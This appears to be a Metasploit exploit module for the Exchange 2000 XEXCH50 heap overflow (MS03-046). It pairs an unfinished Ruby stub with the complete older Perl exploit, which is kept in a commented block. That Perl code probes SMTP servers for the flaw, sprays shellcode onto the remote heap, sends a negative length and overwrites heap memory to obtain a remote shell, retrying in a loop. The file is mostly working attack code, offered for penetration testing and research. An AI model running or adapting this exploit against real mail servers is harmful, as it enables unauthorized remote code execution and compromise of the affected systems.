379 lines
8.8 KiB
Ruby
379 lines
8.8 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Exchange 2000 MS03-46 Heap Overflow',
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'Description' => %q{
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This is an exploit for the Exchange 2000 heap overflow. Due
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to the nature of the vulnerability, this exploit is not very
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reliable. This module has been tested against Exchange 2000
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SP0 and SP3 running a Windows 2000 system patched to SP4. It
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normally takes between one and ten tries to successfully
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obtain a shell. This exploit is *very* unreliable, we hope
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to provide a much more solid one in the near future.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '2674'],
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[ 'MSB', 'MS03-046'],
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[ 'MIL', '20'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x20\x3a\x3d\x2b\x22",
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'win32, win2000',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'Oct 15 2003',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::exchange2000_xexch50;
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use base "Msf::Exploit";
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use strict;
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use Pex::Text;
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my $advanced = { };
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my $info =
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{
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'Name' => 'Exchange 2000 MS03-46 Heap Overflow',
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'Version' => '$Revision$',
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'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'win32', 'win2000' ],
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'Priv' => 1,
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 25],
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'SSL' => [0, 'BOOL', 'Use SSL'],
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},
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'Payload' => {
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
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},
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'Description' => Pex::Text::Freeform(qq{
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This is an exploit for the Exchange 2000 heap overflow. Due
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to the nature of the vulnerability, this exploit is not very
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reliable. This module has been tested against Exchange 2000
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SP0 and SP3 running a Windows 2000 system patched to SP4. It
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normally takes between one and ten tries to successfully
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obtain a shell. This exploit is *very* unreliable, we hope
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to provide a much more solid one in the near future.
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}),
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'Refs' =>
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[
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['OSVDB', '2674'],
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['MSB', 'MS03-046'],
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['MIL', '20'],
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],
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'DefaultTarget' => 0,
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'Targets' => [['Exchange 2000', 0x0c900c90, 3000, 11000, 512]],
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'Keys' => ['exchange2000'],
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'DisclosureDate' => 'Oct 15 2003',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Check {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return $self->CheckCode('Connect');
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}
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my $res = $s->Recv(-1, 20);
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if ($res !~ /Microsoft/) {
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$s->Close();
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$self->PrintLine("[*] Target does not appear to be an exchange server");
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return $self->CheckCode('Safe');
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}
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$s->Send("EHLO X\r\n");
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$res = $s->Recv(-1, 3);
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if ($res !~ /XEXCH50/) {
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$s->Close();
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$self->PrintLine("[*] Target does not appear to be an exchange server");
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return $self->CheckCode('Safe');
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}
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$s->Send("MAIL FROM: metasploit\r\n");
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$res = $s->Recv(-1, 3);
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$s->Send("RCPT TO: administrator\r\n");
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$res = $s->Recv(-1, 3);
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$s->Send("XEXCH50 2 2\r\n");
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$res = $s->Recv(-1, 3);
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$s->Close();
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if ($res !~ /Send binary/) {
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$self->PrintLine("[*] Target has been patched");
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return $self->CheckCode('Safe');
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}
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$self->PrintLine("[*] Target appears to be vulnerable");
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return $self->CheckCode('Appears');
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode =$self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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my ($tname, $retaddr) = @{$target};
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my $buff_len = $target->[2];
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$self->PrintLine(sprintf("[*] Trying '$tname' using return address 0x%.8x [$buff_len]", $retaddr));
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my $counter = 1;
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my @seencount = ();
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while (1) {
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if(! $seencount[$counter]) {
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$self->PrintLine("[*] Exploit attempt #$counter");
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$seencount[$counter]++;
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}
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$self->Print("[*] Connection 1: ");
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine('Error');
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sleep(5);
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next;
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}
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my $res = $s->Recv(-1, 3);
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if (! $res) {
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$self->PrintLine("Error");
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next;
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}
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if ($res !~ /Microsoft/) {
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$s->Close();
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$self->PrintLine("Error");
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$self->PrintLine("[*] Target does not appear to be running Exchange: $res");
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return;
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}
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$self->Print("EHLO ");
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$s->Send("EHLO X\r\n");
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$res = $s->Recv(-1, 3);
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if (! $res) { $self->PrintLine("Error"); next; }
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if ($res !~ /XEXCH50/) {
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$self->PrintLine("Error");
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$self->PrintLine("[*] Target is not running Exchange: $res");
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return;
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}
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$self->Print("MAIL ");
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$s->Send("MAIL FROM: metasploit\r\n");
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$res = $s->Recv(-1, 3);
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if (! $res) { $self->PrintLine("Error"); next; }
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$self->Print("RCPT ");
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$s->Send("RCPT TO: administrator\r\n");
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$res = $s->Recv(-1, 3);
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if (! $res) { $self->PrintLine("Error"); next; }
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# verify that the server is not patched
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$s->Send("XEXCH50 2 2\r\n");
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$res = $s->Recv(-1, 3);
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if (! $res) { $self->PrintLine("Error"); next; }
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$self->Print("XEXCH50 ");
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if ($res !~ /Send binary/) {
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$s->Close();
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$self->PrintLine("Error");
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$self->PrintLine("[*] Target is not vulnerable");
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return;
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}
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$s->Send("XX");
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$res = $s->Recv(-1, 3);
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if (! $res) { $self->PrintLine("Error"); next; }
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$self->Print("ALLOC ");
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# allocate heap memory
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my $dsize = (1024 * 1024 * 32);
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$s->Send("XEXCH50 $dsize 2\r\n");
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$res = $s->Recv(-1, 3);
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$self->PrintLine("OK");
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my $payload = ((
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(pack("V", $retaddr) x (256 * 1024)).
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$shellcode . ("X" x 1024)
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) x 4
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). ("BEEF");
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$self->Print("[*] Uploading shellcode to remote heap: ");
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$s->Send($payload);
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$self->PrintLine("OK");
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$self->Print("[*] Connection 2: ");
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my $x = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'SSL' => $self->GetVar('SSL'),
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);
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if ($x->IsError) {
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$self->PrintLine('Error');
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next;
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}
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$res = $x->Recv(-1, 3);
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if (! $res) {
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$self->PrintLine("Error");
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$self->PrintLine("[*] No response");
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next;
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}
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$self->Print("EHLO ");
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$x->Send("EHLO X\r\n");
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$res = $x->Recv(-1, 3);
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if (! $res) { $self->PrintLine("Error"); next; }
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if ($res !~ /XEXCH50/) {
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$self->PrintLine("Error");
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$self->PrintLine("[*] Target is not running Exchange: $res");
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return;
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}
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$self->Print("MAIL ");
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$x->Send("MAIL FROM: metasploit\r\n");
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$res = $x->Recv(-1, 3);
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if (! $res) { $self->PrintLine("Error"); next; }
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$self->Print("RCPT ");
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$x->Send("RCPT TO: administrator\r\n");
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$res = $x->Recv(-1, 3);
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if (! $res) { $self->PrintLine("Error"); next; }
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$self->Print("XEXCH50 ");
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# allocate a negative value
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$x->Send("XEXCH50 -1 2\r\n");
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$res = $x->Recv(-1, 3);
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if (! $res) {
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$self->PrintLine("Error");
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$self->PrintLine("[*] No response");
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next;
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}
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$self->PrintLine("OK");
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$buff_len += $target->[4];
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if ($buff_len > $target->[3]) { $buff_len = $target->[2] }
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# send the massive buffer of our return address
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my $heapover = pack("V", $retaddr) x ($buff_len);
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$self->PrintLine("[*] Overwriting heap with payload jump ($buff_len)...");
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$x->Send($heapover);
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# reconnect until the service stops responding
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my $count = 0;
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$self->Print("[*] Starting reconnect sequences: ");
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while ($count < 10) {
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my $tmp = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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'SSL' => $self->GetVar('SSL'),
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);
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if ($tmp->IsError) {
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last;
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}
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$tmp->Send("HELO X\r\n");
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$tmp->Close();
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$count++;
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}
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$self->PrintLine(" OK");
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$self->PrintLine("");
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$counter++;
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}
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return;
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}
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=end
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end
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end
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